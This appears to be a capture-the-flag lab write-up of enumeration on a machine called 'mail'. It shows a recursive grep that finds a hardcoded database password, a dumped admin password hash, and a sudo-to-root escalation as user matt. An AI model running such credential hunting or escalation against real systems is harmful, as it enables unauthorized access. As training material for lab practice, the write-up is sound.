Enumeration

as Riley

riley@mail:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.110.51  netmask 255.255.255.0  broadcast 192.168.110.255
        inet6 fe80::250:56ff:fe94:5804  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:94:58:04  txqueuelen 1000  (Ethernet)
        RX packets 16761904  bytes 4004049934 (4.0 GB)
        RX errors 0  dropped 78  overruns 0  frame 0
        TX packets 19737738  bytes 3836451684 (3.8 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 629289  bytes 289782276 (289.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 629289  bytes 289782276 (289.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

riley@mail:/etc/nginx$ ls /home
blake  daniel  matt  riley

MySql

riley@mail:/var/www/painter/models$ grep -r -i 'pass'
DatabaseModel.php:        DB_USER, DB_PASSWORD, [
DatabaseModel.php:define("DB_PASSWORD", "PainterDBPassword2022");

MariaDB [painter]> select * from users;
+----+----------+--------------------------------------------------------------+---------------------+
| id | username | password                                                     | created_at          |
+----+----------+--------------------------------------------------------------+---------------------+
|  1 | admin    | $2y$10$7BLIFYjCq4PF0U3ZH86b1eQLfO9EEIO.GRQMKM5XX02FAbBFd95j2 | 2022-03-19 16:42:50 |
+----+----------+--------------------------------------------------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [painter]> select * from contact;
+----+---------+---------------------+-----------+-----------+---------------------+
| id | name    | email               | subject   | message   | date                |
+----+---------+---------------------+-----------+-----------+---------------------+
|  1 | matt    | [email protected]       | matt      | matt      | 2022-03-13 19:59:47 |
|  2 | someone | [email protected] | something | smoething | 2022-04-04 07:00:13 |
+----+---------+---------------------+-----------+-----------+---------------------+
2 rows in set (0.000 sec)

Files accessible to our user

/home/riley
/home/riley/.profile
/home/riley/.bash_logout
/home/riley/.cache
/home/riley/.cache/motd.legal-displayed
/home/riley/.bashrc
/home/riley/.local
/home/riley/.local/share
/home/riley/.local/share/nano

as Matt

matt@mail:~$ sudo -l
[sudo] password for matt: 
Sorry, try again.
[sudo] password for matt: 
Matching Defaults entries for matt on mail:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User matt may run the following commands on mail:
    (ALL : ALL) ALL

matt@mail:~$ sudo su

root@mail:~# ls
flag.txt  scripts  vmtools-check.sh

root@mail:~# cat vmtools-check.sh 
/etc/init.d/open-vm-tools status > /dev/null
if [[ $? -eq 3 ]];then
     /etc/init.d/open-vm-tools restart
fi

root@mail:~/scripts# cat restore.sh 
#!/bin/bash

mysql painter -e "update users set password='\$2y\$10\$7BLIFYjCq4PF0U3ZH86b1eQLfO9EEIO.GRQMKM5XX02FAbBFd95j2' where username='admin';"